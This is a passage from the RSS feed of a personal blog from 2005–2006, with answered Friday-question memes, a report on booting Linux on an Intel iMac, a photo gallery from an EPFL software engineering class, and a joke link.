  11084. </li>
  11085.  
  11086. <li>
  11087. <p><q>Spielst du ein Instrument?</q></p>
  11088.  
  11089. <p>Aktuell nicht mehr, aber früher habe ich Schlagzeug gespielt.</p>
  11090. </li>
  11091.  
  11092. <li>
  11093. <p><q>Wie hat sich dein Musikgeschmack entwickelt? Haben Musikangebote aus dem Internet evtl. Einflu&#223; auf diese Entwicklung?</q></p>
  11094.  
  11095. <p>Bedingt durch mein Studium in Lausanne, hat mein Musikgeschmack in letzter Zeit etwas einen französischen Touch erhalten.<br>
  11096. Musikangebote aus dem Internet haben keinen Einfluss auf diese Entwicklung, hingegen die Konzerte im <a href="http://satwww.epfl.ch/" title="Satellite - Bar, Concerts, Cafés-Théâtres">Satellite</a> schon eher :-)</p>
  11097. </li>
  11098.  
  11099. <li>
  11100. <p><q>Bist Du mit der derzeitigen Gesetzgebung zum Thema Privatkopien vertraut?</q></p>
  11101.  
  11102. <p>Ja.</p>
  11103. </li>
  11104.  
  11105. <li>
  11106. <p><q>Deine Platten-, CD- oder MP3-Sammlung ist dein Schatz? Gibt es besondere Schmuckstücke?</q></p>
  11107.  
  11108. <p>Ein Schatz nicht direkt, aber ich verleihe meine CDs nicht gerne.<br>
  11109. Eigentliche Schmuckstücke oder richtige Raritäten besitze ich nicht,
  11110. aber diverse CDs sind signiert und mit einer Widmung versehen.</p>
  11111. </li>
  11112. </ol>
  11113. ]]></content:encoded>
  11114.  </item>
  11115.  
  11116.  <item>
  11117.    <title>Mactel-Linux</title>
  11118.    <link>https://blog.x-way.org/Linux/2006/02/17/Mactel-Linux.html</link>
  11119.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324084</guid>
  11120.    <dc:creator>Andreas Jaggi</dc:creator>
  11121.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11122.    <pubDate>Fri, 17 Feb 2006 09:57:58 +0100</pubDate>
  11123.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  11124.    <description><![CDATA[<p>Linux wurde erfolgreich auf dem Intel-iMac gebootet! :-)
  11125. </p>
  11126.  
  11127. <p>
  11128. Mit Hilfe des EFI Linux Bootloaders <a href="http://elilo.sourceforge.net" title="elilo">elilo</a>, eines modifizierten Kernels und eines gehackten Vesa-Framebuffer Treibers ist es dem <a href="http://www.xbox-linux.org" title="Xbox-Linux">Xbox-Linux</a> Entwickler Edgar Hucek aka <a href="http://xbox-linux.org/mactel/index.php/User:Gimli" title="Mactel-Linux User:Gimli">gimli</a> gelungen den Linux Kernel und anschliessend auch <a href="http://www.gentoo.org" title="Gentoo Linux">Gentoo Linux</a> auf einem 17-Zoll iMac mit Intel Core Duo Prozessor zum Laufen zu bringen.</p>
  11129.  
  11130. <p>Im <a href="http://xbox-linux.org/mactel/index.php/Main_Page" title="Mactel-Linux">Mactel-Linux Wiki</a> finden sich schon ein paar <a href="http://xbox-linux.org/mactel/index.php/Screenshots" title="Screenshots - Mactel-Linux">Screenshots</a> sowie die Ausgaben von <a href="http://xbox-linux.org/mactel/index.php/Dmesg" title="dmesg - Mactel-Linux">dmesg</a> und <a href="http://xbox-linux.org/mactel/index.php/Lspci" title="lspci - Mactel-Linux">lspci</a>.<br>
  11131. Momentan konnte die graphische Oberfläche (aka X) noch nicht zum Starten gebracht werden. Anhand der Zeile
  11132. </p>
  11133.  
  11134. <pre>01:00.0 VGA compatible controller: ATI Technologies Inc Unknown device 71c5</pre>
  11135. <p>
  11136. in der Ausgabe von lspci vermute ich, dass die ATI Graphikkarte nicht
  11137. erkannt/unterstützt wird und deshalb X noch nicht gestartet werden
  11138. kann. Aber wie vom Entwickler gesagt, ist Mactel-Linux vorerst nur ein
  11139. grosser Hack, und es wird noch etwas Zeit benötigen bis Linux stabil
  11140. auf den Intel Macs läuft.</p>
  11141.  
  11142. <p>Bei der Namenswahl hätten sich die Entwickler von mir aus lieber
  11143. etwas anderes einfallen lassen können. 'Mactel' assoziere ich mit
  11144. Telefon und nicht mit Computer. Aber daran werde ich mich wohl gewöhnen
  11145. müssen, genauso wie an das unmögliche 'MacBook Pro'.</p>
  11146.  
  11147. <p>via <a href="http://www.symlink.ch" title="symlink.ch">symlink.ch</a></p>
  11148.  
  11149. <p><b>Update 18.02.06:</b></p>
  11150. <p>Mittlerweile existiert auch ein <a href="http://www.mactel-linux.org/wiki/HOWTO" title="HOWTO - Mactel-Linux">HOWTO</a> und eine <a href="http://www.mactel-linux.org/wiki/EFI_Memory_Map_from_kernel" title="EFI Memory Map from kernel">Memory Map des EFI</a>. Der gehackte Vesa-Framebuffer Treiber funktioniert bis jetzt aber ausschliesslich mit dem 17-Zoll iMac.</p>
  11151. ]]></description>
  11152.    <content:encoded><![CDATA[<p>Linux wurde erfolgreich auf dem Intel-iMac gebootet! :-)
  11153. </p>
  11154.  
  11155. <p>
  11156. Mit Hilfe des EFI Linux Bootloaders <a href="http://elilo.sourceforge.net" title="elilo">elilo</a>, eines modifizierten Kernels und eines gehackten Vesa-Framebuffer Treibers ist es dem <a href="http://www.xbox-linux.org" title="Xbox-Linux">Xbox-Linux</a> Entwickler Edgar Hucek aka <a href="http://xbox-linux.org/mactel/index.php/User:Gimli" title="Mactel-Linux User:Gimli">gimli</a> gelungen den Linux Kernel und anschliessend auch <a href="http://www.gentoo.org" title="Gentoo Linux">Gentoo Linux</a> auf einem 17-Zoll iMac mit Intel Core Duo Prozessor zum Laufen zu bringen.</p>
  11157.  
  11158. <p>Im <a href="http://xbox-linux.org/mactel/index.php/Main_Page" title="Mactel-Linux">Mactel-Linux Wiki</a> finden sich schon ein paar <a href="http://xbox-linux.org/mactel/index.php/Screenshots" title="Screenshots - Mactel-Linux">Screenshots</a> sowie die Ausgaben von <a href="http://xbox-linux.org/mactel/index.php/Dmesg" title="dmesg - Mactel-Linux">dmesg</a> und <a href="http://xbox-linux.org/mactel/index.php/Lspci" title="lspci - Mactel-Linux">lspci</a>.<br>
  11159. Momentan konnte die graphische Oberfläche (aka X) noch nicht zum Starten gebracht werden. Anhand der Zeile
  11160. </p>
  11161.  
  11162. <pre>01:00.0 VGA compatible controller: ATI Technologies Inc Unknown device 71c5</pre>
  11163. <p>
  11164. in der Ausgabe von lspci vermute ich, dass die ATI Graphikkarte nicht
  11165. erkannt/unterstützt wird und deshalb X noch nicht gestartet werden
  11166. kann. Aber wie vom Entwickler gesagt, ist Mactel-Linux vorerst nur ein
  11167. grosser Hack, und es wird noch etwas Zeit benötigen bis Linux stabil
  11168. auf den Intel Macs läuft.</p>
  11169.  
  11170. <p>Bei der Namenswahl hätten sich die Entwickler von mir aus lieber
  11171. etwas anderes einfallen lassen können. 'Mactel' assoziere ich mit
  11172. Telefon und nicht mit Computer. Aber daran werde ich mich wohl gewöhnen
  11173. müssen, genauso wie an das unmögliche 'MacBook Pro'.</p>
  11174.  
  11175. <p>via <a href="http://www.symlink.ch" title="symlink.ch">symlink.ch</a></p>
  11176.  
  11177. <p><b>Update 18.02.06:</b></p>
  11178. <p>Mittlerweile existiert auch ein <a href="http://www.mactel-linux.org/wiki/HOWTO" title="HOWTO - Mactel-Linux">HOWTO</a> und eine <a href="http://www.mactel-linux.org/wiki/EFI_Memory_Map_from_kernel" title="EFI Memory Map from kernel">Memory Map des EFI</a>. Der gehackte Vesa-Framebuffer Treiber funktioniert bis jetzt aber ausschliesslich mit dem 17-Zoll iMac.</p>
  11179. ]]></content:encoded>
  11180.  </item>
  11181.  
  11182.  <item>
  11183.    <title>Corréctions des exercices du génie logiciel</title>
  11184.    <link>https://blog.x-way.org/School/2006/01/24/Corrections-des-exercices-du-genie-logiciel.html</link>
  11185.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324083</guid>
  11186.    <dc:creator>Andreas Jaggi</dc:creator>
  11187.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11188.    <pubDate>Tue, 24 Jan 2006 22:35:31 +0100</pubDate>
  11189.    <category domain="https://blog.x-way.org/School/">School</category>
  11190.    <description><![CDATA[<dl class="tdl">
  11191. <dt><a href="https://blog.x-way.org/images/dsc01442.jpg"><img src="https://blog.x-way.org/images/dsc01442_thumb.jpg" style="height: 75px; width: 100px;" alt="dsc01442_thumb.jpg"></a></dt>
  11192. <dd class="tdlb"></dd>
  11193. </dl>
  11194. <p>Voil&#224; quelques images de la s&#233;ance d'exercices du <a href="https://web.archive.org/web/20060512192009/http://lgl.epfl.ch/members/baar/lectureSWE0506/index.html" title="Lecture Software Engineering, EPFL, Winter 2005/06 (archive.org)">cours du g&#233;nie logiciel</a>.</p>
  11195. <br><br>
  11196. <dl class="tdl">
  11197. <dt><a href="https://blog.x-way.org/images/dsc01443.jpg"><img src="https://blog.x-way.org/images/dsc01443_thumb.jpg" alt="images/dsc01443_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11198. <dd class="tdlb"></dd>
  11199. <dt><a href="https://blog.x-way.org/images/dsc01446.jpg"><img src="https://blog.x-way.org/images/dsc01446_thumb.jpg" alt="images/dsc01446_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11200. <dd class="tdlb"></dd>
  11201. <dt><a href="https://blog.x-way.org/images/dsc01447.jpg"><img src="https://blog.x-way.org/images/dsc01447_thumb.jpg" alt="images/dsc01447_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11202. <dd class="tdlb"></dd>
  11203. <dt><a href="https://blog.x-way.org/images/dsc01448.jpg"><img src="https://blog.x-way.org/images/dsc01448_thumb.jpg" alt="images/dsc01448_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11204. <dd class="tdlb"></dd>
  11205. <dt><a href="https://blog.x-way.org/images/dsc01449.jpg"><img src="https://blog.x-way.org/images/dsc01449_thumb.jpg" alt="images/dsc01449_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11206. <dd class="tdlb"></dd>
  11207. <dt><a href="https://blog.x-way.org/images/dsc01450.jpg"><img src="https://blog.x-way.org/images/dsc01450_thumb.jpg" alt="images/dsc01450_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11208. <dd class="tdlb"></dd>
  11209. <dt><a href="https://blog.x-way.org/images/dsc01451.jpg"><img src="https://blog.x-way.org/images/dsc01451_thumb.jpg" alt="images/dsc01451_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11210. <dd class="tdlb"></dd>
  11211. <dt><a href="https://blog.x-way.org/images/dsc01452.jpg"><img src="https://blog.x-way.org/images/dsc01452_thumb.jpg" alt="images/dsc01452_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11212. <dd class="tdlb"></dd>
  11213. <dt><a href="https://blog.x-way.org/images/dsc01453.jpg"><img src="https://blog.x-way.org/images/dsc01453_thumb.jpg" alt="images/dsc01453_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11214. <dd class="tdlb"></dd>
  11215. <dt><a href="https://blog.x-way.org/images/dsc01454.jpg"><img src="https://blog.x-way.org/images/dsc01454_thumb.jpg" alt="images/dsc01454_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11216. <dd class="tdlb"></dd>
  11217. <dt><a href="https://blog.x-way.org/images/dsc01455.jpg"><img src="https://blog.x-way.org/images/dsc01455_thumb.jpg" alt="images/dsc01455_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11218. <dd class="tdlb"></dd>
  11219. <dt><a href="https://blog.x-way.org/images/dsc01456.jpg"><img src="https://blog.x-way.org/images/dsc01456_thumb.jpg" alt="images/dsc01456_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11220. <dd class="tdlb"></dd>
  11221. <dt><a href="https://blog.x-way.org/images/dsc01457.jpg"><img src="https://blog.x-way.org/images/dsc01457_thumb.jpg" alt="images/dsc01457_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11222. <dd class="tdlb"></dd>
  11223. <dt><a href="https://blog.x-way.org/images/dsc01458.jpg"><img src="https://blog.x-way.org/images/dsc01458_thumb.jpg" alt="images/dsc01458_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11224. <dd class="tdlb"></dd>
  11225. <dt><a href="https://blog.x-way.org/images/dsc01459.jpg"><img src="https://blog.x-way.org/images/dsc01459_thumb.jpg" alt="images/dsc01459_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11226. <dd class="tdlb"></dd>
  11227. <dt><a href="https://blog.x-way.org/images/dsc01460.jpg"><img src="https://blog.x-way.org/images/dsc01460_thumb.jpg" alt="images/dsc01460_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11228. <dd class="tdlb"></dd>
  11229. <dt><a href="https://blog.x-way.org/images/dsc01461.jpg"><img src="https://blog.x-way.org/images/dsc01461_thumb.jpg" alt="images/dsc01461_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11230. <dd class="tdlb"></dd>
  11231. <dt><a href="https://blog.x-way.org/images/dsc01463.jpg"><img src="https://blog.x-way.org/images/dsc01463_thumb.jpg" alt="images/dsc01463_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11232. <dd class="tdlb"></dd>
  11233. </dl>
  11234.  
  11235. ]]></description>
  11236.    <content:encoded><![CDATA[<dl class="tdl">
  11237. <dt><a href="https://blog.x-way.org/images/dsc01442.jpg"><img src="https://blog.x-way.org/images/dsc01442_thumb.jpg" style="height: 75px; width: 100px;" alt="dsc01442_thumb.jpg"></a></dt>
  11238. <dd class="tdlb"></dd>
  11239. </dl>
  11240. <p>Voil&#224; quelques images de la s&#233;ance d'exercices du <a href="https://web.archive.org/web/20060512192009/http://lgl.epfl.ch/members/baar/lectureSWE0506/index.html" title="Lecture Software Engineering, EPFL, Winter 2005/06 (archive.org)">cours du g&#233;nie logiciel</a>.</p>
  11241. <br><br>
  11242. <dl class="tdl">
  11243. <dt><a href="https://blog.x-way.org/images/dsc01443.jpg"><img src="https://blog.x-way.org/images/dsc01443_thumb.jpg" alt="images/dsc01443_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11244. <dd class="tdlb"></dd>
  11245. <dt><a href="https://blog.x-way.org/images/dsc01446.jpg"><img src="https://blog.x-way.org/images/dsc01446_thumb.jpg" alt="images/dsc01446_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11246. <dd class="tdlb"></dd>
  11247. <dt><a href="https://blog.x-way.org/images/dsc01447.jpg"><img src="https://blog.x-way.org/images/dsc01447_thumb.jpg" alt="images/dsc01447_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11248. <dd class="tdlb"></dd>
  11249. <dt><a href="https://blog.x-way.org/images/dsc01448.jpg"><img src="https://blog.x-way.org/images/dsc01448_thumb.jpg" alt="images/dsc01448_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11250. <dd class="tdlb"></dd>
  11251. <dt><a href="https://blog.x-way.org/images/dsc01449.jpg"><img src="https://blog.x-way.org/images/dsc01449_thumb.jpg" alt="images/dsc01449_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11252. <dd class="tdlb"></dd>
  11253. <dt><a href="https://blog.x-way.org/images/dsc01450.jpg"><img src="https://blog.x-way.org/images/dsc01450_thumb.jpg" alt="images/dsc01450_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11254. <dd class="tdlb"></dd>
  11255. <dt><a href="https://blog.x-way.org/images/dsc01451.jpg"><img src="https://blog.x-way.org/images/dsc01451_thumb.jpg" alt="images/dsc01451_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11256. <dd class="tdlb"></dd>
  11257. <dt><a href="https://blog.x-way.org/images/dsc01452.jpg"><img src="https://blog.x-way.org/images/dsc01452_thumb.jpg" alt="images/dsc01452_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11258. <dd class="tdlb"></dd>
  11259. <dt><a href="https://blog.x-way.org/images/dsc01453.jpg"><img src="https://blog.x-way.org/images/dsc01453_thumb.jpg" alt="images/dsc01453_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11260. <dd class="tdlb"></dd>
  11261. <dt><a href="https://blog.x-way.org/images/dsc01454.jpg"><img src="https://blog.x-way.org/images/dsc01454_thumb.jpg" alt="images/dsc01454_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11262. <dd class="tdlb"></dd>
  11263. <dt><a href="https://blog.x-way.org/images/dsc01455.jpg"><img src="https://blog.x-way.org/images/dsc01455_thumb.jpg" alt="images/dsc01455_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11264. <dd class="tdlb"></dd>
  11265. <dt><a href="https://blog.x-way.org/images/dsc01456.jpg"><img src="https://blog.x-way.org/images/dsc01456_thumb.jpg" alt="images/dsc01456_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11266. <dd class="tdlb"></dd>
  11267. <dt><a href="https://blog.x-way.org/images/dsc01457.jpg"><img src="https://blog.x-way.org/images/dsc01457_thumb.jpg" alt="images/dsc01457_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11268. <dd class="tdlb"></dd>
  11269. <dt><a href="https://blog.x-way.org/images/dsc01458.jpg"><img src="https://blog.x-way.org/images/dsc01458_thumb.jpg" alt="images/dsc01458_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11270. <dd class="tdlb"></dd>
  11271. <dt><a href="https://blog.x-way.org/images/dsc01459.jpg"><img src="https://blog.x-way.org/images/dsc01459_thumb.jpg" alt="images/dsc01459_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11272. <dd class="tdlb"></dd>
  11273. <dt><a href="https://blog.x-way.org/images/dsc01460.jpg"><img src="https://blog.x-way.org/images/dsc01460_thumb.jpg" alt="images/dsc01460_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11274. <dd class="tdlb"></dd>
  11275. <dt><a href="https://blog.x-way.org/images/dsc01461.jpg"><img src="https://blog.x-way.org/images/dsc01461_thumb.jpg" alt="images/dsc01461_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11276. <dd class="tdlb"></dd>
  11277. <dt><a href="https://blog.x-way.org/images/dsc01463.jpg"><img src="https://blog.x-way.org/images/dsc01463_thumb.jpg" alt="images/dsc01463_thumb.jpg" style="height:75px;width:100px;"></a></dt>
  11278. <dd class="tdlb"></dd>
  11279. </dl>
  11280.  
  11281. ]]></content:encoded>
  11282.  </item>
  11283.  
  11284.  <item>
  11285.    <title>Die fünf unabhängigen Fragen zum Freitag</title>
  11286.    <link>https://blog.x-way.org/Misc/2006/01/06/Die-fuenf-unabhaengigen-Fragen-zum-Freitag.html</link>
  11287.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324082</guid>
  11288.    <dc:creator>Andreas Jaggi</dc:creator>
  11289.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11290.    <pubDate>Fri, 06 Jan 2006 02:18:34 +0100</pubDate>
  11291.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  11292.    <description><![CDATA[<p>Nachdem ich es letzte Woche verpennt habe, gibt&#8217;s hier nun die beantworteten <a href="https://web.archive.org/web/20060218194436/http://xn--diefreitglichenfnf-stb20c.de/fragen/die-fuenf-unabhaengigen-zum-freitag" title="Die fünf unabhängigen Fragen zum Freitag (archive.org)">Fragen</a> dieser Woche:</p>
  11293.  
  11294. <ol>
  11295. <li>
  11296. <p>
  11297. <q>Schneiden wir mal ein heikles Thema an. Wie vertreibst Du Dir die
  11298. Zeit auf dem Thron? Gibt&#8217;s Toilettenliteratur, die Tageszeitung, Musik?</q>
  11299. </p>
  11300. <p>
  11301. Meistens hängen meine Gedanken bei irgendeiner Arbeit die ich gerade mache und so nutze ich die Zeit um neue Ideen zu sammeln.
  11302. </p>
  11303. </li>
  11304.  
  11305. <li>
  11306. <p>
  11307. <q>Wenn Du jetzt aus dem nächstgelegenen Fenster schaust. Was stört Dich am ehesten?</q>
  11308. </p>
  11309. <p>
  11310. Hm, weil&#8217;s Nacht ist sehe ich nicht sehr viel und von dem was ich sehe stört mich momentan eigentlich nichts.
  11311. </p>
  11312. </li>
  11313.  
  11314. <li>
  11315. <p>
  11316. <q>Jetzt wird&#8217;s intim. Hast Du einen Fernseher im Schlafzimmer? Und warum hast Du dort (k)einen?</q>
  11317. </p>
  11318. <p>
  11319. Ich habe gar keinen Fernseher.
  11320. </p>
  11321. </li>
  11322.  
  11323. <li>
  11324. <p>
  11325. <q>In jedem dritten Weblog kann man über Moleskines lesen. Jene
  11326. neckischen Notizbücher, die es in diverstesten Formen gibt. Wie
  11327. organisierst Du Dich? Machst Du schriftliche Notizen, oder reizt Du den
  11328. naturgegebenen Speicher voll aus. Wie vewaltest Du Deine Telefonnummern
  11329. und Kontakte?</q>
  11330. </p>
  11331. <p>
  11332. Meistens versuche ich alles im Kopf zu behalten, was auch ziemlich gut
  11333. klappt. Telefonnummern sind im Handy gespeichert und E-Mail Adressen im
  11334. Adressbuch vom E-Mail Programm. Postadressen hingegen nirgends, da ich
  11335. sie nie brauche.
  11336. </p>
  11337. </li>
  11338.  
  11339. <li>
  11340. <p>
  11341. <q>Has(s)t Du Stofftiere?</q>
  11342. </p>
  11343. <p>
  11344. Ich habe ein Stofftier und zwar <a href="https://blog.x-way.org/images/stofftier.jpg" title="Mein Stofftier">dieses hier</a>.
  11345. </p>
  11346. </li>
  11347. </ol>
  11348. ]]></description>
  11349.    <content:encoded><![CDATA[<p>Nachdem ich es letzte Woche verpennt habe, gibt&#8217;s hier nun die beantworteten <a href="https://web.archive.org/web/20060218194436/http://xn--diefreitglichenfnf-stb20c.de/fragen/die-fuenf-unabhaengigen-zum-freitag" title="Die fünf unabhängigen Fragen zum Freitag (archive.org)">Fragen</a> dieser Woche:</p>
  11350.  
  11351. <ol>
  11352. <li>
  11353. <p>
  11354. <q>Schneiden wir mal ein heikles Thema an. Wie vertreibst Du Dir die
  11355. Zeit auf dem Thron? Gibt&#8217;s Toilettenliteratur, die Tageszeitung, Musik?</q>
  11356. </p>
  11357. <p>
  11358. Meistens hängen meine Gedanken bei irgendeiner Arbeit die ich gerade mache und so nutze ich die Zeit um neue Ideen zu sammeln.
  11359. </p>
  11360. </li>
  11361.  
  11362. <li>
  11363. <p>
  11364. <q>Wenn Du jetzt aus dem nächstgelegenen Fenster schaust. Was stört Dich am ehesten?</q>
  11365. </p>
  11366. <p>
  11367. Hm, weil&#8217;s Nacht ist sehe ich nicht sehr viel und von dem was ich sehe stört mich momentan eigentlich nichts.
  11368. </p>
  11369. </li>
  11370.  
  11371. <li>
  11372. <p>
  11373. <q>Jetzt wird&#8217;s intim. Hast Du einen Fernseher im Schlafzimmer? Und warum hast Du dort (k)einen?</q>
  11374. </p>
  11375. <p>
  11376. Ich habe gar keinen Fernseher.
  11377. </p>
  11378. </li>
  11379.  
  11380. <li>
  11381. <p>
  11382. <q>In jedem dritten Weblog kann man über Moleskines lesen. Jene
  11383. neckischen Notizbücher, die es in diverstesten Formen gibt. Wie
  11384. organisierst Du Dich? Machst Du schriftliche Notizen, oder reizt Du den
  11385. naturgegebenen Speicher voll aus. Wie vewaltest Du Deine Telefonnummern
  11386. und Kontakte?</q>
  11387. </p>
  11388. <p>
  11389. Meistens versuche ich alles im Kopf zu behalten, was auch ziemlich gut
  11390. klappt. Telefonnummern sind im Handy gespeichert und E-Mail Adressen im
  11391. Adressbuch vom E-Mail Programm. Postadressen hingegen nirgends, da ich
  11392. sie nie brauche.
  11393. </p>
  11394. </li>
  11395.  
  11396. <li>
  11397. <p>
  11398. <q>Has(s)t Du Stofftiere?</q>
  11399. </p>
  11400. <p>
  11401. Ich habe ein Stofftier und zwar <a href="https://blog.x-way.org/images/stofftier.jpg" title="Mein Stofftier">dieses hier</a>.
  11402. </p>
  11403. </li>
  11404. </ol>
  11405. ]]></content:encoded>
  11406.  </item>
  11407.  
  11408.  <item>
  11409.    <title>Fünf weihnachtliche Fragen</title>
  11410.    <link>https://blog.x-way.org/Misc/2005/12/25/Fuenf-weihnachtliche-Fragen.html</link>
  11411.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324081</guid>
  11412.    <dc:creator>Andreas Jaggi</dc:creator>
  11413.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11414.    <pubDate>Sun, 25 Dec 2005 18:03:01 +0100</pubDate>
  11415.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  11416.    <description><![CDATA[<p>
  11417. <a href="https://kniebes.com" title="deep-resonance.">Markus</a> stellt fünf weihnachtliche Fragen:
  11418. </p>
  11419.  
  11420. <blockquote cite="https://web.archive.org/web/20060222112927/http://xn--diefreitglichenfnf-stb20c.de/fragen/weihnachtliches-zum-auftakt">
  11421. <ol>
  11422. <li>Und? Schon alle Geschenke gekauft? Auch schon verpackt? </li>
  11423.  
  11424. <li>Hand auf&#8217;s Herz. Ist das Geschenkekaufen ein Pflichtprogramm oder gibst Du Dir Mühe was &#8220;passendes&#8221; zu finden? </li>
  11425.  
  11426. <li>Weihnachten
  11427. das Familienfest. Verbringst Du Weihnachten mit der Familie? Aus
  11428. Tradition? Weil man sich sonst nie sieht? Wird&#8217;s Zoff geben? Oder ist
  11429. Dir das alles zu spie&#223;ig?</li>
  11430.  
  11431. <li>Hast Du überhaupt Lust auf
  11432. Weihnachten? Oder versinkst Du lieber in eine Winterdepression oder
  11433. ergibst Du Dich an den ruhigen Tagen Deinem Weltschmerz? </li>
  11434.  
  11435. <li>Urlaub?
  11436. Na, zwischen den Feiertagen Urlaub genommen? Oder bist Du froh, wenn Du
  11437. Dich fern der Familie bei der Knechterei verstecken kannst? </li>
  11438. </ol>
  11439. </blockquote>
  11440.  
  11441. <p>
  11442. Und hier meine Antworten:
  11443. </p>
  11444. <ol>
  11445. <li>Ich habe alle Geschenke schon gekauft, aber nur die für Gestern sind schon verpackt.</li>
  11446.  
  11447. <li>Geschenke versuche ich immer passende zu finden, was sich allerdings nicht immer als leicht herausstellt.</li>
  11448.  
  11449. <li>Weihnachten verbringe ich mit der Familie; aus Tradition und auch weil ich sie in letzter Zeit nicht sehr viel gesehen habe.</li>
  11450.  
  11451. <li>Lust auf Weihnachten? k.A.</li>
  11452.  
  11453. <li>Ich habe zwei Wochen unterrichtsfreie Zeit, habe aber soviel Arbeit mitbekommen, dass ich nicht wirklich ausspannen kann.</li>
  11454. </ol>
  11455.  
  11456. <p>&nbsp;</p>
  11457. ]]></description>
  11458.    <content:encoded><![CDATA[<p>
  11459. <a href="https://kniebes.com" title="deep-resonance.">Markus</a> stellt fünf weihnachtliche Fragen:
  11460. </p>
  11461.  
  11462. <blockquote cite="https://web.archive.org/web/20060222112927/http://xn--diefreitglichenfnf-stb20c.de/fragen/weihnachtliches-zum-auftakt">
  11463. <ol>
  11464. <li>Und? Schon alle Geschenke gekauft? Auch schon verpackt? </li>
  11465.  
  11466. <li>Hand auf&#8217;s Herz. Ist das Geschenkekaufen ein Pflichtprogramm oder gibst Du Dir Mühe was &#8220;passendes&#8221; zu finden? </li>
  11467.  
  11468. <li>Weihnachten
  11469. das Familienfest. Verbringst Du Weihnachten mit der Familie? Aus
  11470. Tradition? Weil man sich sonst nie sieht? Wird&#8217;s Zoff geben? Oder ist
  11471. Dir das alles zu spie&#223;ig?</li>
  11472.  
  11473. <li>Hast Du überhaupt Lust auf
  11474. Weihnachten? Oder versinkst Du lieber in eine Winterdepression oder
  11475. ergibst Du Dich an den ruhigen Tagen Deinem Weltschmerz? </li>
  11476.  
  11477. <li>Urlaub?
  11478. Na, zwischen den Feiertagen Urlaub genommen? Oder bist Du froh, wenn Du
  11479. Dich fern der Familie bei der Knechterei verstecken kannst? </li>
  11480. </ol>
  11481. </blockquote>
  11482.  
  11483. <p>
  11484. Und hier meine Antworten:
  11485. </p>
  11486. <ol>
  11487. <li>Ich habe alle Geschenke schon gekauft, aber nur die für Gestern sind schon verpackt.</li>
  11488.  
  11489. <li>Geschenke versuche ich immer passende zu finden, was sich allerdings nicht immer als leicht herausstellt.</li>
  11490.  
  11491. <li>Weihnachten verbringe ich mit der Familie; aus Tradition und auch weil ich sie in letzter Zeit nicht sehr viel gesehen habe.</li>
  11492.  
  11493. <li>Lust auf Weihnachten? k.A.</li>
  11494.  
  11495. <li>Ich habe zwei Wochen unterrichtsfreie Zeit, habe aber soviel Arbeit mitbekommen, dass ich nicht wirklich ausspannen kann.</li>
  11496. </ol>
  11497.  
  11498. <p>&nbsp;</p>
  11499. ]]></content:encoded>
  11500.  </item>
  11501.  
  11502.  <item>
  11503.    <title>Best Blonde Joke Ever</title>
  11504.    <link>https://blog.x-way.org/Misc/2005/12/24/Best-Blonde-Joke-Ever.html</link>
  11505.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324080</guid>
  11506.    <dc:creator>Andreas Jaggi</dc:creator>
  11507.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11508.    <pubDate>Sat, 24 Dec 2005 14:45:26 +0100</pubDate>
  11509.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  11510.    <description><![CDATA[<p>There is it, the <a href="http://vowe.net/archives/006666.html" title="vowe dot net :: Best. Blonde. Joke. Ever.">best blonde joke ever</a>.</p>
  11511. ]]></description>
  11512.    <content:encoded><![CDATA[<p>There is it, the <a href="http://vowe.net/archives/006666.html" title="vowe dot net :: Best. Blonde. Joke. Ever.">best blonde joke ever</a>.</p>
  11513. ]]></content:encoded>
  11514.  </item>
  11515.  
  11516.  <item>
  11517.    <title>Schnee</title>
  11518.    <link>https://blog.x-way.org/Misc/2005/12/18/Schnee.html</link>
  11519.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324079</guid>
  11520.    <dc:creator>Andreas Jaggi</dc:creator>
